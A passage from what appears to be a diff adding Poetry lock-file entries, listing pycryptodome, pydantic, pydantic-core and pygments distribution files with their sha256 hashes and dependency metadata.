"sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843"}, + {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490"}, + {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575"}, + {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b"}, + {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a"}, + {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f"}, + {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa"}, + {file = "pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886"}, + {file = "pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2"}, + {file = "pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c"}, + {file = "pycryptodome-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:350ebc1eba1da729b35ab7627a833a1a355ee4e852d8ba0447fafe7b14504d56"}, + {file = "pycryptodome-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:93837e379a3e5fd2bb00302a47aee9fdf7940d83595be3915752c74033d17ca7"}, + {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379"}, + {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4"}, + {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630"}, + {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353"}, + {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5"}, + {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:865d83c906b0fc6a59b510deceee656b6bc1c4fa0d82176e2b77e97a420a996a"}, + {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89d4d56153efc4d81defe8b65fd0821ef8b2d5ddf8ed19df31ba2f00872b8002"}, + {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3f2d0aaf8080bda0587d58fc9fe4766e012441e2eed4269a77de6aea981c8be"}, + {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64093fc334c1eccfd3933c134c4457c34eaca235eeae49d69449dc4728079339"}, + {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ce64e84a962b63a47a592690bdc16a7eaf709d2c2697ababf24a0def566899a6"}, + {file = "pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef"}, +] + +[[package]] +name = "pydantic" +version = "2.13.3" +description = "Data validation using Python type hints" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "pydantic-2.13.3-py3-none-any.whl", hash = "sha256:6db14ac8dfc9a1e57f87ea2c0de670c251240f43cb0c30a5130e9720dc612927"}, + {file = "pydantic-2.13.3.tar.gz", hash = "sha256:af09e9d1d09f4e7fe37145c1f577e1d61ceb9a41924bf0094a36506285d0a84d"}, +] + +[package.dependencies] +annotated-types = ">=0.6.0" +pydantic-core = "2.46.3" +typing-extensions = ">=4.14.1" +typing-inspection = ">=0.4.2" + +[package.extras] +email = ["email-validator (>=2.0.0)"] +timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] + +[[package]] +name = "pydantic-core" +version = "2.46.3" +description = "Core functionality for Pydantic validation and serialization" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "pydantic_core-2.46.3-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:1da3786b8018e60349680720158cc19161cc3b4bdd815beb0a321cd5ce1ad5b1"}, + {file = "pydantic_core-2.46.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cc0988cb29d21bf4a9d5cf2ef970b5c0e38d8d8e107a493278c05dc6c1dda69f"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:27f9067c3bfadd04c55484b89c0d267981b2f3512850f6f66e1e74204a4e4ce3"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a642ac886ecf6402d9882d10c405dcf4b902abeb2972cd5fb4a48c83cd59279a"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:79f561438481f28681584b89e2effb22855e2179880314bcddbf5968e935e807"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:57a973eae4665352a47cf1a99b4ee864620f2fe663a217d7a8da68a1f3a5bfda"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83d002b97072a53ea150d63e0a3adfae5670cef5aa8a6e490240e482d3b22e57"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b40ddd51e7c44b28cfaef746c9d3c506d658885e0a46f9eeef2ee815cbf8e045"}, + {file = "pydantic_core-2.46.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ac5ec7fb9b87f04ee839af2d53bcadea57ded7d229719f56c0ed895bff987943"}, + {file = "pydantic_core-2.46.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a3b11c812f61b3129c4905781a2601dfdfdea5fe1e6c1cfb696b55d14e9c054f"}, + {file = "pydantic_core-2.46.3-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:1108da631e602e5b3c38d6d04fe5bb3bfa54349e6918e3ca6cf570b2e2b2f9d4"}, + {file = "pydantic_core-2.46.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:de885175515bcfa98ae618c1df7a072f13d179f81376c8007112af20567fd08a"}, + {file = "pydantic_core-2.46.3-cp310-cp310-win32.whl", hash = "sha256:d11058e3201527d41bc6b545c79187c9e4bf85e15a236a6007f0e991518882b7"}, + {file = "pydantic_core-2.46.3-cp310-cp310-win_amd64.whl", hash = "sha256:3612edf65c8ea67ac13616c4d23af12faef1ae435a8a93e5934c2a0cbbdd1fd6"}, + {file = "pydantic_core-2.46.3-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:ab124d49d0459b2373ecf54118a45c28a1e6d4192a533fbc915e70f556feb8e5"}, + {file = "pydantic_core-2.46.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cca67d52a5c7a16aed2b3999e719c4bcf644074eac304a5d3d62dd70ae7d4b2c"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c024e08c0ba23e6fd68c771a521e9d6a792f2ebb0fa734296b36394dc30390e"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6645ce7eec4928e29a1e3b3d5c946621d105d3e79f0c9cddf07c2a9770949287"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a712c7118e6c5ea96562f7b488435172abb94a3c53c22c9efc1412264a45cbbe"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:69a868ef3ff206343579021c40faf3b1edc64b1cc508ff243a28b0a514ccb050"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc7e8c32db809aa0f6ea1d6869ebc8518a65d5150fdfad8bcae6a49ae32a22e2"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:3481bd1341dc85779ee506bc8e1196a277ace359d89d28588a9468c3ecbe63fa"}, + {file = "pydantic_core-2.46.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8690eba565c6d68ffd3a8655525cbdd5246510b44a637ee2c6c03a7ebfe64d3c"}, + {file = "pydantic_core-2.46.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4de88889d7e88d50d40ee5b39d5dac0bcaef9ba91f7e536ac064e6b2834ecccf"}, + {file = "pydantic_core-2.46.3-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:e480080975c1ef7f780b8f99ed72337e7cc5efea2e518a20a692e8e7b278eb8b"}, + {file = "pydantic_core-2.46.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:de3a5c376f8cd94da9a1b8fd3dd1c16c7a7b216ed31dc8ce9fd7a22bf13b836e"}, + {file = "pydantic_core-2.46.3-cp311-cp311-win32.whl", hash = "sha256:fc331a5314ffddd5385b9ee9d0d2fee0b13c27e0e02dad71b1ae5d6561f51eeb"}, + {file = "pydantic_core-2.46.3-cp311-cp311-win_amd64.whl", hash = "sha256:b5b9c6cf08a8a5e502698f5e153056d12c34b8fb30317e0c5fd06f45162a6346"}, + {file = "pydantic_core-2.46.3-cp311-cp311-win_arm64.whl", hash = "sha256:5dfd51cf457482f04ec49491811a2b8fd5b843b64b11eecd2d7a1ee596ea78a6"}, + {file = "pydantic_core-2.46.3-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b11b59b3eee90a80a36701ddb4576d9ae31f93f05cb9e277ceaa09e6bf074a67"}, + {file = "pydantic_core-2.46.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:af8653713055ea18a3abc1537fe2ebc42f5b0bbb768d1eb79fd74eb47c0ac089"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75a519dab6d63c514f3a81053e5266c549679e4aa88f6ec57f2b7b854aceb1b0"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6cd87cb1575b1ad05ba98894c5b5c96411ef678fa2f6ed2576607095b8d9789"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f80a55484b8d843c8ada81ebf70a682f3f00a3d40e378c06cf17ecb44d280d7d"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3861f1731b90c50a3266316b9044f5c9b405eecb8e299b0a7120596334e4fe9c"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb528e295ed31570ac3dcc9bfdd6e0150bc11ce6168ac87a8082055cf1a67395"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:367508faa4973b992b271ba1494acaab36eb7e8739d1e47be5035fb1ea225396"}, + {file = "pydantic_core-2.46.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5ad3c826fe523e4becf4fe39baa44286cff85ef137c729a2c5e269afbfd0905d"}, + {file = "pydantic_core-2.46.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:ec638c5d194ef8af27db69f16c954a09797c0dc25015ad6123eb2c73a4d271ca"}, + {file = "pydantic_core-2.46.3-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:28ed528c45446062ee66edb1d33df5d88828ae167de76e773a3c7f64bd14e976"}, + {file = "pydantic_core-2.46.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aed19d0c783886d5bd86d80ae5030006b45e28464218747dcf83dabfdd092c7b"}, + {file = "pydantic_core-2.46.3-cp312-cp312-win32.whl", hash = "sha256:06d5d8820cbbdb4147578c1fe7ffcd5b83f34508cb9f9ab76e807be7db6ff0a4"}, + {file = "pydantic_core-2.46.3-cp312-cp312-win_amd64.whl", hash = "sha256:c3212fda0ee959c1dd04c60b601ec31097aaa893573a3a1abd0a47bcac2968c1"}, + {file = "pydantic_core-2.46.3-cp312-cp312-win_arm64.whl", hash = "sha256:f1f8338dd7a7f31761f1f1a3c47503a9a3b34eea3c8b01fa6ee96408affb5e72"}, + {file = "pydantic_core-2.46.3-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:12bc98de041458b80c86c56b24df1d23832f3e166cbaff011f25d187f5c62c37"}, + {file = "pydantic_core-2.46.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:85348b8f89d2c3508b65b16c3c33a4da22b8215138d8b996912bb1532868885f"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1105677a6df914b1fb71a81b96c8cce7726857e1717d86001f29be06a25ee6f8"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:87082cd65669a33adeba5470769e9704c7cf026cc30afb9cc77fd865578ebaad"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:60e5f66e12c4f5212d08522963380eaaeac5ebd795826cfd19b2dfb0c7a52b9c"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b6cdf19bf84128d5e7c37e8a73a0c5c10d51103a650ac585d42dd6ae233f2b7f"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:031bb17f4885a43773c8c763089499f242aee2ea85cf17154168775dccdecf35"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:bcf2a8b2982a6673693eae7348ef3d8cf3979c1d63b54fca7c397a635cc68687"}, + {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:28e8cf2f52d72ced402a137145923a762cbb5081e48b34312f7a0c8f55928ec3"}, + {file = "pydantic_core-2.46.3-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:17eaface65d9fc5abb940003020309c1bf7a211f5f608d7870297c367e6f9022"}, + {file = "pydantic_core-2.46.3-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:93fd339f23408a07e98950a89644f92c54d8729719a40b30c0a30bb9ebc55d23"}, + {file = "pydantic_core-2.46.3-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:23cbdb3aaa74dfe0837975dbf69b469753bbde8eacace524519ffdb6b6e89eb7"}, + {file = "pydantic_core-2.46.3-cp313-cp313-win32.whl", hash = "sha256:610eda2e3838f401105e6326ca304f5da1e15393ae25dacae5c5c63f2c275b13"}, + {file = "pydantic_core-2.46.3-cp313-cp313-win_amd64.whl", hash = "sha256:68cc7866ed863db34351294187f9b729964c371ba33e31c26f478471c52e1ed0"}, + {file = "pydantic_core-2.46.3-cp313-cp313-win_arm64.whl", hash = "sha256:f64b5537ac62b231572879cd08ec05600308636a5d63bcbdb15063a466977bec"}, + {file = "pydantic_core-2.46.3-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:afa3aa644f74e290cdede48a7b0bee37d1c35e71b05105f6b340d484af536d9b"}, + {file = "pydantic_core-2.46.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ced3310e51aa425f7f77da8bbbb5212616655bedbe82c70944320bc1dbe5e018"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e29908922ce9da1a30b4da490bd1d3d82c01dcfdf864d2a74aacee674d0bfa34"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0c9ff69140423eea8ed2d5477df3ba037f671f5e897d206d921bc9fdc39613e7"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b675ab0a0d5b1c8fdb81195dc5bcefea3f3c240871cdd7ff9a2de8aa50772eb2"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0087084960f209a9a4af50ecd1fb063d9ad3658c07bb81a7a53f452dacbfb2ba"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed42e6cc8e1b0e2b9b96e2276bad70ae625d10d6d524aed0c93de974ae029f9f"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:f1771ce258afb3e4201e67d154edbbae712a76a6081079fe247c2f53c6322c22"}, + {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a7610b6a5242a6c736d8ad47fd5fff87fcfe8f833b281b1c409c3d6835d9227f"}, + {file = "pydantic_core-2.46.3-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:ff5e7783bcc5476e1db448bf268f11cb257b1c276d3e89f00b5727be86dd0127"}, + {file = "pydantic_core-2.46.3-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:9d2e32edcc143bc01e95300671915d9ca052d4f745aa0a49c48d4803f8a85f2c"}, + {file = "pydantic_core-2.46.3-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:6e42d83d1c6b87fa56b521479cff237e626a292f3b31b6345c15a99121b454c1"}, + {file = "pydantic_core-2.46.3-cp314-cp314-win32.whl", hash = "sha256:07bc6d2a28c3adb4f7c6ae46aa4f2d2929af127f587ed44057af50bf1ce0f505"}, + {file = "pydantic_core-2.46.3-cp314-cp314-win_amd64.whl", hash = "sha256:8940562319bc621da30714617e6a7eaa6b98c84e8c685bcdc02d7ed5e7c7c44e"}, + {file = "pydantic_core-2.46.3-cp314-cp314-win_arm64.whl", hash = "sha256:5dcbbcf4d22210ced8f837c96db941bdb078f419543472aca5d9a0bb7cddc7df"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:d0fe3dce1e836e418f912c1ad91c73357d03e556a4d286f441bf34fed2dbeecf"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9ce92e58abc722dac1bf835a6798a60b294e48eb0e625ec9fd994b932ac5feee"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03e6467f0f5ab796a486146d1b887b2dc5e5f9b3288898c1b1c3ad974e53e4a"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2798b6ba041b9d70acfb9071a2ea13c8456dd1e6a5555798e41ba7b0790e329c"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9be3e221bdc6d69abf294dcf7aff6af19c31a5cdcc8f0aa3b14be29df4bd03b1"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f13936129ce841f2a5ddf6f126fea3c43cd128807b5a59588c37cf10178c2e64"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28b5f2ef03416facccb1c6ef744c69793175fd27e44ef15669201601cf423acb"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:830d1247d77ad23852314f069e9d7ddafeec5f684baf9d7e7065ed46a049c4e6"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0793c90c1a3c74966e7975eaef3ed30ebdff3260a0f815a62a22adc17e4c01c"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:d2d0aead851b66f5245ec0c4fb2612ef457f8bbafefdf65a2bf9d6bac6140f47"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:2f40e4246676beb31c5ce77c38a55ca4e465c6b38d11ea1bd935420568e0b1ab"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:cf489cf8986c543939aeee17a09c04d6ffb43bfef8ca16fcbcc5cfdcbed24dba"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-win32.whl", hash = "sha256:ffe0883b56cfc05798bf994164d2b2ff03efe2d22022a2bb080f3b626176dd56"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-win_amd64.whl", hash = "sha256:706d9d0ce9cf4593d07270d8e9f53b161f90c57d315aeec4fb4fd7a8b10240d8"}, + {file = "pydantic_core-2.46.3-cp314-cp314t-win_arm64.whl", hash = "sha256:77706aeb41df6a76568434701e0917da10692da28cb69d5fb6919ce5fdb07374"}, + {file = "pydantic_core-2.46.3-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:fa3eb7c2995aa443687a825bc30395c8521b7c6ec201966e55debfd1128bcceb"}, + {file = "pydantic_core-2.46.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3d08782c4045f90724b44c95d35ebec0d67edb8a957a2ac81d5a8e4b8a200495"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:831eb19aa789a97356979e94c981e5667759301fb708d1c0d5adf1bc0098b873"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4335e87c7afa436a0dfa899e138d57a72f8aad542e2cf19c36fb428461caabd0"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99421e7684a60f7f3550a1d159ade5fdff1954baedb6bdd407cba6a307c9f27d"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd81f6907932ebac3abbe41378dac64b2380db1287e2aa64d8d88f78d170f51a"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f247596366f4221af52beddd65af1218797771d6989bc891a0b86ccaa019168"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_31_riscv64.whl", hash = "sha256:6dff8cc884679df229ebc6d8eb2321ea6f8e091bc7d4886d4dc2e0e71452843c"}, + {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:68ef2f623dda6d5a9067ac014e406c020c780b2a358930a7e5c1b73702900720"}, + {file = "pydantic_core-2.46.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d56bdb4af1767cc15b0386b3c581fdfe659bb9ee4a4f776e92c1cd9d074000d6"}, + {file = "pydantic_core-2.46.3-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:91249bcb7c165c2fb2a2f852dbc5c91636e2e218e75d96dfdd517e4078e173dd"}, + {file = "pydantic_core-2.46.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4b068543bdb707f5d935dab765d99227aa2545ef2820935f2e5dd801795c7dbd"}, + {file = "pydantic_core-2.46.3-cp39-cp39-win32.whl", hash = "sha256:dcda6583921c05a40533f982321532f2d8db29326c7b95c4026941fa5074bd79"}, + {file = "pydantic_core-2.46.3-cp39-cp39-win_amd64.whl", hash = "sha256:a35cc284c8dd7edae8a31533713b4d2467dfe7c4f1b5587dd4031f28f90d1d13"}, + {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:9715525891ed524a0a1eb6d053c74d4d4ad5017677fb00af0b7c2644a31bae46"}, + {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:9d2f400712a99a013aff420ef1eb9be077f8189a36c1e3ef87660b4e1088a874"}, + {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd2aab0e2e9dc2daf36bd2686c982535d5e7b1d930a1344a7bb6e82baab42a76"}, + {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e9d76736da5f362fabfeea6a69b13b7f2be405c6d6966f06b2f6bfff7e64531"}, + {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:b12dd51f1187c2eb489af8e20f880362db98e954b54ab792fa5d92e8bcc6b803"}, + {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:f00a0961b125f1a47af7bcc17f00782e12f4cd056f83416006b30111d941dfa3"}, + {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57697d7c056aca4bbb680200f96563e841a6386ac1129370a0102592f4dddff5"}, + {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd35aa21299def8db7ef4fe5c4ff862941a9a158ca7b63d61e66fe67d30416b4"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:13afdd885f3d71280cf286b13b310ee0f7ccfefd1dbbb661514a474b726e2f25"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:f91c0aff3e3ee0928edd1232c57f643a7a003e6edf1860bc3afcdc749cb513f3"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6529d1d128321a58d30afcc97b49e98836542f68dd41b33c2e972bb9e5290536"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:975c267cff4f7e7272eacbe50f6cc03ca9a3da4c4fbd66fffd89c94c1e311aa1"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:2b8e4f2bbdf71415c544b4b1138b8060db7b6611bc927e8064c769f64bed651c"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:e61ea8e9fff9606d09178f577ff8ccdd7206ff73d6552bcec18e1033c4254b85"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:b504bda01bafc69b6d3c7a0c7f039dcf60f47fab70e06fe23f57b5c75bdc82b8"}, + {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b00b76f7142fc60c762ce579bd29c8fa44aaa56592dd3c54fab3928d0d4ca6ff"}, + {file = "pydantic_core-2.46.3.tar.gz", hash = "sha256:41c178f65b8c29807239d47e6050262eb6bf84eb695e41101e62e38df4a5bc2c"}, +] + +[package.dependencies] +typing-extensions = ">=4.14.1" + +[[package]] +name = "pygments" +version = "2.20.0" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.9" +groups = ["main", "dev", "docs"] +files = [ + {file = "pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176"}, + {file = "pygments-2.20.0.tar.gz", hash 